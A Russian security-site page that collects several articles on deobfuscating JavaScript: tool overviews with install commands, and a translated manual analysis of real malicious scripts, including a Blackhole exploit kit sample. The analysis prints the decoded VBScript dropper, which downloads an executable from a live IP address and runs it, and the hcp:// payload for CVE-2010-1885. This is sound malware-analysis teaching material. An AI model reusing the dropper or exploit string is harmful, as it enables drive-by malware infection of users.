HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Деобфускация JavaScript кода
Что такое обфускация
Обфускация — это изменение исходного кода таким образом, чтобы он становился трудно понимаемым, но чтобы при этом не изменялась его функциональность. Обфускация применяется для исходного кода на интерпретируемых (а не компилируемых) языках программирования. То есть это JavaScript, PHP, обфускация может применяться для HTML (хотя это язык разметки, а не программирования), CSS и других, программы на которых не компилируют, а запускают в виде простых текстов.
Особенно актуальна обфускация для JavaScript, поскольку в отличии, например, от того же PHP, который выполняется на веб сервере, JavaScript загружается в браузер и каждый пользователь может иметь доступ к скриптам.
Обфускация использует разные приёмы. Один из них — это удаление пробелов. Это называется минимизацией кода и используется не только для запутывания, сколько для ускорения скачивания скриптов. Хотя в таком коде становится действительно трудно разобраться.
Часто при обфускации код превращается в бессмысленный набор функций и строк в которых невозможно разобраться, но которые в конечном счёте делают ровно то же самое, что и исходный код. Но есть и действительно потрясающие примеры обфускации, например, JSFuck может отобразить любой JavaScript код с помощью всего лишь шести следующих символов []()!+
К примеру, следующий код является рабочим JavaScript кодом:
Обфускация используется как легитимными пользователями, которые хотят защитить свои идеи и свой код от воровства, так и хакерами для затруднения анализа их приёмов и программ.
Что такое деобфускация
Деобфускация — это обратный обфускации процесс, то есть перевод кода из трудночитаемого вида в понятный для анализа.
Поскольку методов обфускации множество, то методов и инструментов деобфускации тоже немало и они имеют разные возможности и разную степень эффективности.
Деобфускация нужна как при анализе вредоносного кода, так и при исследовании целевого сайта для понимания логики его работы и поиска уязвимостей.
Пример использования деобфускации будет показан в следующей статье во время «взлома» сайта.
1. Читаемый вид JavaScript в браузере
Современные веб-браузеры умеют сжатый для экономии трафика код разворачивать в исходное состояние. Подробно об этом говориться в статье «Статический анализ исходного кода веб-сайта в браузере», поэтому рассмотрим эту возможность совсем кратко.
В Google Chrome (или Chromium) перейдите в Инструменты веб мастера (кнопка F12), выберите вкладку Sources и интересующий файл:
Нажмите на иконку с фигурными скобками и код будет преобразован в удобный для восприятия вид:
В Firefox эта кнопка доступна на вкладке «Отладчик»:
2. JStillery
JStillery это продвинутый деобфускатор JavaScript через частичное вычисление.
JStillery можно использовать без установки — программа доступна как в виде онлайн сервиса от автора: https://mindedsecurity.github.io/jstillery/.
Установка JStillery
Установка в Kali Linux
sudo apt install npm git clone https://github.com/mindedsecurity/JStillery cd JStillery sudo npm install
Для компиляции сервера (если вам нужен не только инструмент с интерфейсом командной строки, но вы ещё хотите использовать и веб интерфейс):
npm run build_server
Для запуска сервера:
npm run start_server
После этого веб-интерфейс будет доступен по адресу http://localhost:3001
Установка в BlackArch
sudo pacman -S jstillery
Использование очень простое, просто укажите путь до файла для деобфускации:
jstillery /путь/до/файла
3. Универсальный деобфускатор JavaScript кода de4js
de4js — это деобфускатор исходного кода JavaScript и распаковщик.
Поддерживает (деобфусцирует) результат работы следующих инструментов, сервисов, методов:
- Eval, используются, например, в Packer, WiseLoop
- Array, используются, например, в Javascript Obfuscator, Free JS Obfuscator
- _Number
- Packer
- Javascript Obfuscator
- Free JS Obfuscator
- Obfuscator.IO (но не всегда срабатывает, так как этот сервис часто обновляется, что требует обновление деобфускатора)
- My Obfuscate
- Кодирование URL, используются, например, в bookmarklet
- JSFuck
- JJencode
- AAencode
- WiseLoop
Информацию об установке и запуске вы найдёте на странице программы: https://kali.tools/?p=6514
de4js запускается как небольшой сервер к которому можно подключиться веб-браузером. То есть у программы веб-интерфейс.
Перейдите в папку с программой:
cd bin/de4js
npm start
В веб-интерфейсе выберите один из способов ввода обфусцированного исходного кода:
- String — вставить код в окно веб-интерфейса
- Local File — выбрать локальный файл на компьютере
- Remote File — указать адрес удалённого файла
Ниже вы можете указать способ, которым выполнялась обфускация кода JavaScript:
- None
- Eval
- Array
- Obfuscator IO
- _Number
- JSFuck
- JJencode
- AAencode
- URLencode
- Packer
- JS Obfuscator
- My Obfuscate
- Wise Eval
- Wise Function
- Clean Source
- Unreadable
Либо вы можете нажать кнопку «Auto Decode», чтобы de4js автоматически определила способ обфускации. Деобфусцированный код будет показан в окне ниже.
Дополнительные опции, которые вы можете включить или выключить:
- Line numbers — показывать номера строк
- Format Code — форматирование и подсветка синтаксиса кода
- Unescape strings — перевод строк из экранированных последовательностей в нормальный вид
- Recover object-path — восстановить object-path
- Execute expression — вычислить выражения
- Merge strings — объединить (слить) строки
- Remove grouping — удаление группировки
4. JavaScript онлайн деобфускатор deobfuscatejavascript.com
Исходный код этого сервиса не размещён на GitHub’е, но этот продукт тоже с открытым исходным кодом, поскольку все операции выполняются в браузере, а функции деобфускации вынесены в файл http://deobfuscatejavascript.com/deobfuscate.js.
Код, проанализированный этим инструментом, будет выполнен в вашем браузере. Этот инструмент предназначен только для перехвата вызовов, выполняемых функциями eval() и write(), которые обычно используются в качестве конечной функции во вредоносных JavaScript-скриптах. Некоторые вредоносные скрипты могут не использовать эти функции и поэтому могут заразить ваш браузер.
Этот инструмент предназначен для помощи аналитикам в деобфускации вредоносных JavasSripts. Он не интерпретирует HTML, поэтому любой HTML должен быть удалён для правильной деобфускации кода. Скрипт также не должен содержать синтаксических ошибок для получения правильных результатов.
Чёрные дыры, целевые страницы и наборы эксплойтов используют обфускацию для того, чтобы скрыть намерения кода при уменьшении вероятности обнаружения. Когда скрипты упакованы, исходный код становится данными, а видимый код — процедурой деобфускации. Во время выполнения данные распаковываются подпрограммой, и результатом является строка, которая должна быть обработана (исполнена) как код для выполнения. Этот инструмент во время процедуры деобфускации возвращая эту строку кода, но не запускает её выполнение. Полученный код показывается с подсветкой синтаксиса.
5. Деобфускация Obfuscator.IO
Автор сайта Obfuscator.IO ищет программы, которые способны деобфусцировать созданный на этом сервисе код и постоянно меняет, исправляет обфускацию, в результате чего инструменты по деобфускации перестают работать. Поэтому инструменты автоматической деобфускации (включая de4js) обычно отстают от самой последней версии, то есть могут деобфусцировать код созданный ранее на Obfuscator.IO, но не могут деобфусцировать последнюю версию кода. Но это не означает, что это надёжный инструмент чтобы обезопасить свой исходный код — регулярно появляются проекты, которые обходят все методы деобфускации. К тому же, специалисты на заказ могут деобфусцировать любой код.
6. JS Beautifier
Программа JS Beautifier улучшает внешний вид JavaScript кода за счёт переформатирования и проставления отступов. Также умеет распаковывать скрипты упакованные популярным пэкером от Dean Edward. Частично может деобфусцировать скрипты обработанные npm пакетом javascript-obfuscator. Применяется для улучшения читаемости JavaScript кода.
Программа доступна в виде онлайн сервиса от авторов: https://beautifier.io/
Установка JS Beautifier
Установка в Kali Linux
sudo apt install npm sudo npm -g install js-beautify js-beautify -h
Установка в BlackArch
Есть два варианта установки — из репозиториев и как NPM пакет. В репозиториях BlackArch доступна Python версия, её особенности в том, то html-beautify отсутствует вовсе, а css-beautify не устанавливается из-за ошибки. Также есть некоторые другие отличия.
Если вы хотите установить из стандартных репозиториев то выполните следующую команду:
sudo pacman -S python-jsbeautifier
Если вы хотите установить Node.js JavaScript версию, то выполните следующие команды:
sudo pacman -R python-jsbeautifier sudo pacman -S npm sudo npm -g install js-beautify js-beautify -h
Установка в Windows
После установки Python и PIP выполните команды:
sudo pip3 install jsbeautifier sudo pip3 install cssbeautifier
jsbeautifier.py [ОПЦИИ]
js-beautify -f medium.js
Все опции программ из набора инструментов JS Beautifier вы найдёте на странице https://kali.tools/?p=5581
7. UglifyJS
Набор инструментов UglifyJS выполняет различные действия с кодом, написанном на JavaScript не изменяя его функциональность. Программа умеет парсить, сжимать, обфусцировать или, наоборот, делать более читаемым скрипты JavaScript.
В плане деобфускации UglifyJS умеет делать сжатый код JavaScript читаемым.
Установка в Kali Linux
sudo apt install uglifyjs
Установка в BlackArch
sudo pacman -S uglify-js
Пример запуска: для улучшения вида файла используется опция -b; файл (или несколько файлов) нужно указывать перед опциями:
uglifyjs medium.js -b
Также программа может обрабатывать файлы переданные по стандартному вводу:
cat medium.js | uglifyjs -b
Другие опции и возможности на странице https://kali.tools/?p=5594
Заключение
Если я пропустил какой-то инструмент для деобфускации кода JavaScript, то пишите в комментариях!
В следующей статье мы будем стараться обойти защиту сайта, которая написана на JavaScript — мы будем использовать разные подходы, в самых сложных случаях нам пригодятся инструменты для деобфускации. Смотрите продолжение «Атаки на JavaScript».
Связанные статьи:
- Как увидеть JavaScript код, написанный с использованием непечатных символов (91%)
- Обратный инжиниринг с использованием Radare2 (Reverse Engineering) (52.6%)
- Обратный инжиниринг с использованием Radare2 (Reverse Engineering) (часть 2) (52.6%)
- Анализ трояна Snojan (52.6%)
- Анализ вредоносной программы под Linux: плохое самодельное шифрование (52.6%)
- Как установить настоящий Firefox в Kali Linux (RANDOM — 1.4%)
факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок. По итогам обучения выдаётся свидетельство установленного образца и сертификат. По этой ссылке специальная скидка на любые факультеты и курсы!
Бесплатный онлайн деобфускатор Javascript
JavaScript — один из наиболее часто используемых языков программирования в мире веб-разработки.
Учитывая его широкое распространение, неудивительно, что многие разработчики предпочитают обфусцировать свой код для защиты своей интеллектуальной собственности. Однако это может затруднить понимание или изменение обфусцированного кода другими разработчиками. К счастью, существуют инструменты, помогающие деобфусцировать обфусцированный код JavaScript. Одним из таких инструментов является бесплатный онлайн-деобфускатор JavaScript.
Что такое деобфускатор кода JavaScript и как он работает?
Деобфускатор JS — это простой, но мощный деобфускатор для удаления распространенной обфускации Javascript. Он возвращает более читабельную и понятную версию файла.
Он легко переписывает техники обфускации, используемые в коде, и отменяет их.
Некоторые из часто применяемых техник включают обфускацию имен переменных, строк и функций.
Деобфускатор удаляет эти обфускации и заменяет их более осмысленными именами.
Как использовать деобфускатор JavaScript?
Деобфускатор — это простой, но мощный инструмент для удаления распространенных техник обфускации JavaScript.
Чтобы использовать этот инструмент, вам нужно просто скопировать и вставить обфусцированный код JavaScript в поле ввода инструмента.
Затем нажмите на кнопку «Deobfuscate», и результат будет отображен в окне вывода.
Как работает инструмент JS Deobfuscator Source Code Tool?
Программный инструмент работает полностью в браузере.
Для выполнения деобфускации вводимого JS он использует библиотеку с открытым исходным кодом.
Библиотека содержит функции для обнаружения и удаления опечаток, таких как имя переменной, строка и функция.
Деобфускатор также имеет простую панель конфигурации, которая позволяет пользователям выбирать типы техник, которые они хотят удалить.
Когда следует использовать деобфускатор JavaScript Decode?
Деобфускатор JavaScript — это незаменимый инструмент для любого разработчика, например, для тех, кому приходится работать с исходным кодом JavaScript.
Он может помочь вам прочитать и понять код, который был обфусцирован, что облегчает внесение изменений или улучшений.
Кроме того, деобфускатор может предоставить информацию для обнаружения вредоносного кода или понять, как работают методы защиты, что может быть полезно при разработке лучших пакетов для защиты интеллектуальной собственности.
Безопасен ли бесплатный онлайн-деобфускатор JavaScript для использования?
Деобфускатор полностью безопасен в использовании.
Это простой веб-инструмент, который не требует загрузки или установки.
Деобфускатор работает полностью в браузере, что означает, что ваш код не загружается ни на какие серверы.
Однако важно помнить, что деобфускатор может удалить только те методы обфускации, которые не являются вредоносными.
Если минификация вредоносна, она может быть не обнаружена деобфускатором.
Ручная деобфускация JavaScript
В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.
Автор: Sudeep Singh
Введение
Обфускация JavaScript в течение уже нескольких лет используется для обхода антивирусных сканеров. С ростом числа эксплоитов для браузера большее внимание стало уделяться обнаружению вредоносного JavaScript, использующегося в веб-страницах. Это побудило атакующих подвергать свой код обфускации. В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах. Цель документа – показать преимущества ручного подхода перед автоматизированными JS-распаковщиками. Мы также введем читателя в возможности обфусцирования, имеющиеся во фреймворке Метасплоит.
Причины применения обфускации JavaScript
Главная причина – обфусцировать исходный код таким образом, чтобы его почти невозможно было деобфусцировать и подвергнуть обратной инженерии. Это помогает предотвратить кражу интеллектуальной собственности. Существует несколько инструментов для обфускации, которые также сжимают код и уменьшают время, требуемое для загрузки кода в браузер. Их можно использовать, чтобы избавиться от неиспользуемого или повторяющегося кода. С точки зрения безопасности обфусцированный JavaScript может избегать обнаружения антивирусами. Он также усложняет процесс понимания кода.
Сравнение минификаторов и обфускаторов JavaScript
- Замена символов возврата каретки на перевод строки
- Замена кратных пробелов на один, замена кратных символов перевода строки на один такой символ
- Замена комментариев на символ перевода строки
- Замена /**/ на пробелы
Как можно видеть, JSMin не сосредоточен на кодировании строк, замене имен локальных переменных или других методах, используемых обфускаторами.
Методы обфускации JavaScript
Существует несколько методов, используемых для обфускации фрагментов написанного на JavaScript кода. Чтобы лучше вникнуть в данный вопрос, я приведу несколько примеров обфусцированного JavaScript-кода.
Используемые приемы могут варьироваться от простых и распространенных, с которыми могут справляться онлайновые JS-распаковщики вроде jsunpack.jeek.org, до действительно сложных, которые выходят за пределы возможностей онлайновых JS-распаковщиков.
Вместо того, чтобы задокументировать все эти приемы скопом, я опишу их в трех разных разделах с нарастанием сложности.
Основы обфускации JavaScript
В первом разделе мы обсудим JavaScript, обфусцированный очень просто. Считайте это разминкой перед пониманием основных идей, используемых для обфускации JS. Прошу отметить, что, как уже утверждалось, представленный здесь обфусцированный JavaScript легко распаковать с помощью онлайновых JS-распаковщиков, однако способность проводить деобфускацию данного кода в ручном режиме поможет нам в понимании более продвинутых методов.
Итак, давайте начнем.
Вначале обфусцированный код выглядит так, как показано ниже:
Он нечитаем. Поэтому мы поместим символ новой строки после каждой точки с запятой и выполним небольшое форматирование, чтобы он стал более читаем:
Теперь сделаем несколько наблюдений, чтобы понять методы, используемые злоумышленником для обфускации кода:
Прием 1: объявление множества неиспользуемых переменных.
var tZsuw;
var QpUL=64;
var Jzgxgh=98;
Эти переменные нужны лишь для того, чтобы создать путаницу. Их можно смело удалить.
Прием 2: вызов неопределенных функций внутри условных операторов IF с заведомо ложным условием.
if(‘ZfoJC’==’JlEhQJO’) // False Condition
mxvGejD(); // This function is never defined and used.
Подобные операторы IF также могут быть удалены.
Прием 3: использование длинных имен переменных вроде «NMeZD» или «HxIyzd» тоже нужно лишь для затруднения анализа.
Чтобы сделать код нечитаемым, все вышеописанные приемы используются неоднократно.
После удаления из нашего кода всего лишнего мы получим более читабельный код, который выглядит примерно так:
Закодированные имена JavaScript-функций
Данный код использует различные функции JavaScript для декодирования закодированных строк. Имена этих функций также обфусцируются. Я использую веб-консоль Firefox, чтобы быстро декодировать имена этих функций.
Переменная NMeZD хранит имя функции. Чтобы декодировать имя данной функции, в коде используется функция replace. Этот процесс можно автоматизировать через веб-консоль Firefox, как показано ниже:
Теперь мы знаем, что переменная хранит строку «replace».
Она в свою очередь используется для получения имени другой функции:
Мы заменяем «NMeZD» на «replace» и снова вычисляем значение с помощью веб-консоли:
Итак, мы получили строку с именем следующей функции – «fromCharCode». Таким образом мы можем вычислить все имена функций, используемых в коде. Как только это будет сделано, код станет выглядеть так:
Получение глобального объекта
Глобальным объектом для браузера является окно (window). Данное действие также известно как утечка окна. Чтобы получить ссылку на окно, используется следующий фрагмент кода:
Эта функция не делает ничего кроме помещения ссылки на глобальный объект (окно) в переменную с именем «KsjQS».
Получение ссылки на функцию String
В данном коде использовался один изящный прием. Опять же, его проще понять с помощью веб-консоли:
Этап декодирования:
Закодированная строка хранится в переменной pGIL.
var
pGIL=’b1bcb0c2bab2bbc17bb9bcb0aec1b6bcbb8a74b5c1c1bd877c7cbcc6bfbcc1b67bbfc27
c74′; // Length of this string is 74
Главной целью кода является декодирование этой строки и ее запуск. Мы увидим, как это происходит.
Для этого используется следующий цикл For:
for (mJvk=0;mJvk <
rVCkG=KsjQS[HxIyzd](pGIL[iRNyfP](mJvk,mJvk+2),16)-77;
mSIAd+=oMYN[DubWtR](rVCkG);
>
Мы можем сделать код гораздо более читаемым путем замены всех имен переменных на соответствующие им строки с именами функций. Наряду с тем, я также заменю имена переменных «mJvk», «rVCkG» и «mSIAd» на «a», «b» и «c» соответственно.
По окончании этих преобразований код будет выглядеть следующим образом:
Он пробегает символы закодированной строки посредством цикла FOR и декодирует их с помощью метода String.fromCharCode.
В результате декодированная строка имеет такое значение: document.location= http://oyroti.ru/
Этот код используется для перенаправления браузера на сайт http://oyroti.ru/
Blackhole Exploit Kit
Теперь, понимая простые принципы, давайте копнем чуть поглубже в сложные коды, которые с легкостью обходят антивирусы и не поддаются онлайновым JS-распаковщикам. У нас остается лишь один выход – распаковывать их вручную.
В качестве примера я взял обфусцированный JavaScript, используемый в Blackhole Exploit kit. Этот код использует несколько новых хороших недокументированных приемов.
Для начала я перечислю некоторые используемые приемы:
- Как обычно, для противодействия реверс-инжинирингу читаемость кода понижается путем использования длинных имен переменных и удаления средств форматирования вроде символов новой строки. Тут ничего нового.
- Используются блоки try<> и catch<>. Данный принцип без изменений распространяется на несколько различных языков программирования. Вы пытаетесь запустить некторый код в блоке try<>, и, если в ходе выполнения будет выброшено исключение, оно будет обработано в обработчике исключения, находящимся в блоке catch<>.
Дальше мы рассмотрим более подробно, как наш код использует данный прием.
Вот исходный обфусцированный код:
После беглого взгляда на весь код мы обнаружим, что обфусцированный JS расположен на HTML-странице сразу после тега
.
Отсюда мы и начнем.
Ранее упомянутые приемы будет проще понять с помощью иллюстрирующих их фрагментов рассматриваемого кода:
Прием 1: достаточно просто взглянуть на код – и его применение станет очевидным 🙂
Прием 2: trycatch(qwgw)
Разбиение кода на строки сделает его более читаемым. Я также добавил необходимые комментарии.
try
<
Math.lol(); /* lol() is an invalid library undefined in Math Class */
>
catch(qwgw) /* The code above throws an exception which triggers the code in catch()
block */
<
fr=»f»+»r»+»o»+»m»+»C»; /*
Basic String Concatenation, «fromC» is the result
>
Как и в случае с большинством обфусцированных JS-скриптов, один прием применяется несколько раз. Так что, мы вычистим оставшийся код, следуя тем же путем.
Сделаем его более читаемым:
try
<
Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch()
block */
>
catch(vb)
<
e=zz[‘e’+’v’+’al’]; /* Basic String Concatenation */
fr+=(fr)?»ha»+»rCode»:»»;
ch+=(fr)?»odeAt»:»»;
r=»replace»;
>
fr+=(fr)?»ha»+»rCode»:»»;
Поскольку fr уже было присвоено значение «fromC», условие в тернарной операции эквивалентно true. Значит, результатом данной операции будет то, что предшествует символу двоеточия («:»).
fr = fr + «ha» + «rCode»
fr = «fromCharCode»
На самом деле данный код сокращается, учитывая вышеописанный прием, до следующего:
Это выражение вернет массив всех элементов div, присутствующих на HTML-странице. Коллекция тегов хранится в переменной dd.
В нашем случае на веб-странице присутствует лишь один тег .
Так что, dd[«length»] = 1
Цикл for сокращается до
Этот цикл проходит только одну итерацию.
dd[0][«innerHTML][«substr»](3) удалит первые три символа из HTML-кода, находящегося между тегами . Первые три символа имеют значение «$$$».
Это свидетельствует о том, что наш код состоит из корректного кода перемежающегося строками некорректных символов HTML. На этапе декодирования он от этих строк избавляется.
В конце данного цикла весь обфусцированный код с вырезанными первыми тремя символами хранится в строковой переменной z.
Применение данного приема является причиной, по которой онлайновые JS-распаковщики не могут деобфусцировать код.
Мы проанализируем цикл FOR, используемый для декодирования обфусцированного содержимого тега .
Это сокращается до
После прочтения кода цикла FOR становится очевидным, что он декодирует обфусцированное содержимое путем манипуляции с ASCII-кодами.
Вот в какой последовательности происходит декодирование:
- Запускается цикл FOR по всей длине содержимого между тегами .
- За итерацию обрабатывается один символ
- Вычисляется ASCII-код символа
- Если код имеет значение между 36 и 61 (не включая), то к нему добавляется 25, а символ, соответствующий результирующему коду, сохраняется в переменной
- Иначе, если код имеет значение между 61 и 86 (не включая), то из него вычитается 25, а символ, соответствующий результирующему коду, сохраняется в переменной
- Данный символ конкатенируется с результатом предыдущей итерации, и осуществляется переход к следующему символу, пока все содержимое не будет обработано
- Последний шаг цикла состоит в вызове функции eval() для запуска результата декодирования
Теперь, когда мы понимаем, что делает данный цикл FOR, мы можем продолжить декодирование. Однако, учитывая размер обфусцированного кода, делать это вручную будет неэффективно.
Вместо этого я создам новый HTML-документ, используя только нужный код из исходной вредоносной веб-страницы.
Нашей целью здесь будет увидеть, во что декодируется обфусцированный кусок кода.
Вот код новой страницы:
Сохраните его как HTML-страницу и откройте ее в браузере. Деобфусцированный код будет показан во всплывающем окне.
Скопируйте и вставьте содержимое этого окна в другой файл не в HTML-формате.
Тут мы сталкиваемся с еще одним слоем обфускации. Чтобы снять и его, могут быть применены изученные ранее приемы.
Однако, нам опять нужно рассмотреть весь код целиком.
Использование разных типов кодирования:
Вот некоторые примеры: h, №, %u003f.
Мы можем заменить эти последовательности, преобразовав в соответствующие символы юникода, но сделаем это позднее.
CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№>
go.gPs
echo Set xml ! Nothing >>№TEMP№
Множество специальных символов вроде «@», «>», «!» располагаются особым образом, однако значение их неясно.
Если мы продолжим отслеживать код до конца, то найдем набор используемых функций замены (replace).
В целом обфусцированный код содержит цепочку функций замены, добавленных в конец, как показано ниже:
Давайте вычислим данные выражения одно за другим:
- replace(/!/g, String.fromCharCode(61)) -> replace «!» with «=»
- replace(/@/g, String.fromCharCode(34)) -> replace «@» with «»»
- replace(/]/g, String.fromCharCode(38)) -> replace «]» with «&»
- replace(/ replace »
- replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)) -> replace «JOPA» with «HTTP.Send»
- replace(/gPs/g, String.fromCharCode(118,98,115)) -> replace «gPs» with «vbs»
- replace(/>/g, String.fromCharCode(92)) -> replace «>» with «\»
- replace(/№/g, String.fromCharCode(37)) -> replace «№» with «%»
Теперь должно быть ясно, почему я не заменил «№» на соответствующий символ на шаге 1: это дало бы нам другой результат.
Применив означенные выше функции ко всему обфусцированному коду, мы получим:
После непродолжительного исследования можно заключить, что данная последовательность действий записывается командой echo в VBScript-файл, располагающийся в %TEMP%\go.vbs с помощью оператора перенаправления («>>»)
Для большей ясности мы можем переписать содержимое go.vbs в таком виде:
FileName = «%TEMP%/file.exe
url=»http://69.194.192.229/q.php?f=7245d&e=5″
Set objHTTP = CreateObject(«MSXML2.XMLHTTP»)
Call objHTTP.Open(«GET», url, False)
objHTTP.Send
set oStream = createobject(«Adodb.Stream»)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing
Set WshShell = CreateObject(«WScript.Shell»)
WshShell.Run FileName, 0, True
Set FSO = CreateObject(«Scripting.FileSystemObject»)
FSO.DeleteFile
Данный VBScript запускается командой
следующей за созданием vbs файла в конце скрипта
Что именно приводит к запуску нашего кода?
var iframe=’ src=»hcp://services/search?
query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm?svr= defer>
В Центре справки и поддержки Windows (Microsoft Windows Help Centre, helpctr) существует уязвимость, связанная с тем, как выполняется URL-нормализация. Эксплуатируется зарегистрированный обработчик протокола hcp://.
Это позволяет выполнить код, в нашем случае – VBScript.
Более подробно о данной уязвимости можно прочитать здесь:
CVE для данного эксплоита: CVE-2010-1885
Что делает рассмотренный VBScript?
Он загружает содержимое с URL http://69.194.192.229/q.php?f=7245d&e=5, записывает его в file.exe во временной папке системы и запускает его с помощью WshShell.
Так мы смогли увидеть, насколько хорошо обфусцированный JavaScript может скрывать настоящий функционал.
Задача по деобфускации JS от Breaking Point
Теперь, когда мы познакомились со сложно обфусцированным JavaScript, давайте взглянем на еще один, который использует несколько новых приемов.
На этот раз я возьму обфусцированный JavaScript, который давался на соревновании по деобфускации, устроенному компанией Breaking Point Systems в сентябре 2011 года.
Он использует несколько приемов. Код выглядит так:
Выше показан фрагмент обфусцированного кода. Вы можете скачать полный код здесь: http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscationcode.txt
Снова я перечислю используемые здесь приемы:
Строки представляются интерпретируются как числа в системе счисления с основанием 32 (далее – radix-32).
Побитовый сдвиг влево эквивалентен умножению числа на 2 в степени, равной количеству левых сдвигов.
В JavaScript функция toString() используется для преобразования числа в строку. Когда данной функции передается аргумент 32, она преобразует число из десятичной (с основанием 10) системы в radix-32.
Это можно понять на примере.
720094129 – десятичное число (с основанием 10).
16
Нам нужно вычислить эквивалент числа 720094129 (записанного в десятичной системе) в radix-32.
Для перевода из одной системы счисления в другую можно использовать этот сайт:
Число 720094129 в radix-32 эквивалентно строке «length»
720094129..toString(32)+»»= length + «» = length
Представление чисел через операции над строками.
Умный прием был использован для представления чисел, особенно маленьких (0-9) в виде выражений, оперирующих со строками.
1 можно представить как длину строки, состоящей из единственного символа.
Однако из предыдущего анализа мы знаем, что строка «length» может быть также записана в виде 720094129..toString(32)+»»
так что ‘C'[720094129..toString(32)+»»] = 1
В данном JavaScript вычисляется несколько выражений «if». Давайте возьмем одно для примера и расширим примененный к нему подход на все остальные.
Так, вышеописанное выражение «if» сокращается до:
Это подводит нас к следующему шагу обфускации.
Строка представляется в виде кодов символов.
Коды символов представлены в различных форматах: десятичном (dec), восьмеричном (oct) и шестнадцатеричном (hex).
Данная функция JavaScript вернет символ, соответствующий ASCII-коду x.
Здесь важно отметить, что числу ‘x’, являющемуся аргументом данной функции, следует быть записанным в десятичном формате. Ему не следует быть ни восьмеричным, ни шестнадцатеричным. Если оно в записано в другой системе, оно неявно преобразуется JS-интерпретатором в десятичную систему.
Если мы посмотрим на рассмотренный выше образец условного выражения, мы увидим некоторые числа, записанные в восьмеричном формате (начинаются с 0).
Во время соревнования я написал короткий скрипт на Перл, который бы автоматически разбирал список разделенных запятой чисел в различных форматах и конвертировал бы их в десятичный формат.
Он оказался очень полезным и сэкономил кучу времени, как вы позднее увидите, когда мы подойдем к этапу декодирования с помощью XOR.
Например, в обфусцированном JavaScript присутствовало такое условное выражение:
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != —
‘Z'[720094129..toString(16 <<1)+""])
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != -1)
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>
Теперь нам нужно упростить аргумент String.fromCharCode.
Вы можете использовать данный сайт, чтобы преобразовать String.fromCharCode из строки чисел в символы:
Если вы введете 0157,112,0145,114,97 в поле ввода на данном сайте, вы получите на выходе непонятный набор символов:
Аналогично, попробуйте ввести 0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 и посмотрите на результат.
Это происходит по причине, которую я упомянул выше. Эти значения должны быть записаны в десятичном виде, а не в восьмеричном или шестнадцатеричном. В обфусцированный javascript была включена смесь из десятичных, восьмеричных и шестнадцатеричных чисел, чтобы обмануть исследователя.
Здесь и пригождается Перл-скрипт, позволяя сэкономить нам время.
0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS
Замечание: если вы не хотите использовать Перл-скрипт для выполнения преобразования кодов символов, вы можете использовать JS-интерпретатор веб-консоли, чтобы получить требуемые значения.
Теперь наше условное выражение сокращается до:
if(uUHIjMJVFJET.indexOf(opera) != -1)
<
return maThLLZqPmrrFS;
>
Важно понять эту часть часть кода. Переменная uUHIjMJVFJET будет хранить значение user-agent (в нижнем регистре) браузера жертвы. Мы проверяем, использует ли жертва браузер Opera. Если жертва использует данный браузер, то мы возвращаем случайную предварительно сгенерированную парольную фразу, «maThLLZqPmrrFS».
Эта парольная фраза будет использована для декодирования закодированной XOR-ом полезной нагрузки, которую мы увидим позже.
В коде встречаются несколько операторов if, которые проверяют соответствие user-agent различным типам браузеров и, в зависимости от результата проверки, возвращают соответствующую парольную фразу.
Операция сложения заменяется специальными символами.
Если вы предварите число N символом ‘~’, то получите значение, равное -(N+1)
Поэтому добавление 1 к N эквивалентно дописыванию -~ перед N.
Если вы хотите добавить к значению переменной 3, нужно предварить ее троекратной комбинацией -~.
Рассмотрим, например, такое выражение «if»:
Сначала мы выполним перевод десятичных чисел в radix-32, чтобы получить соответствующие строки.
Сосредоточимся на этом фрагменте:
‘zgBq'[length] = 4
-~-~’zgBq'[length] = 4+2 = 6
-~-~-~’tlk'[length] = 3+3 = 6
Зная данные соотношения, мы можем сократить показанное выше условное выражение до:
После подстановки значений переменных получим:
В коде многократно встречалась конструкция вида (function () < return x >)(). Надеюсь, для вас очевидно, что она всего лишь возвращает значение x.
Так что, данное выражение уменьшается до:
if(uUHIjMJVFJET.indexOf(chrome)) != -1)
<
return aFaQW;
>
Данный блок кода снова выглядит похожим на рассмотренное ранее «if»-выражение. Он возвращает случайную парольную фразу, если жертва использует браузер Chrome.
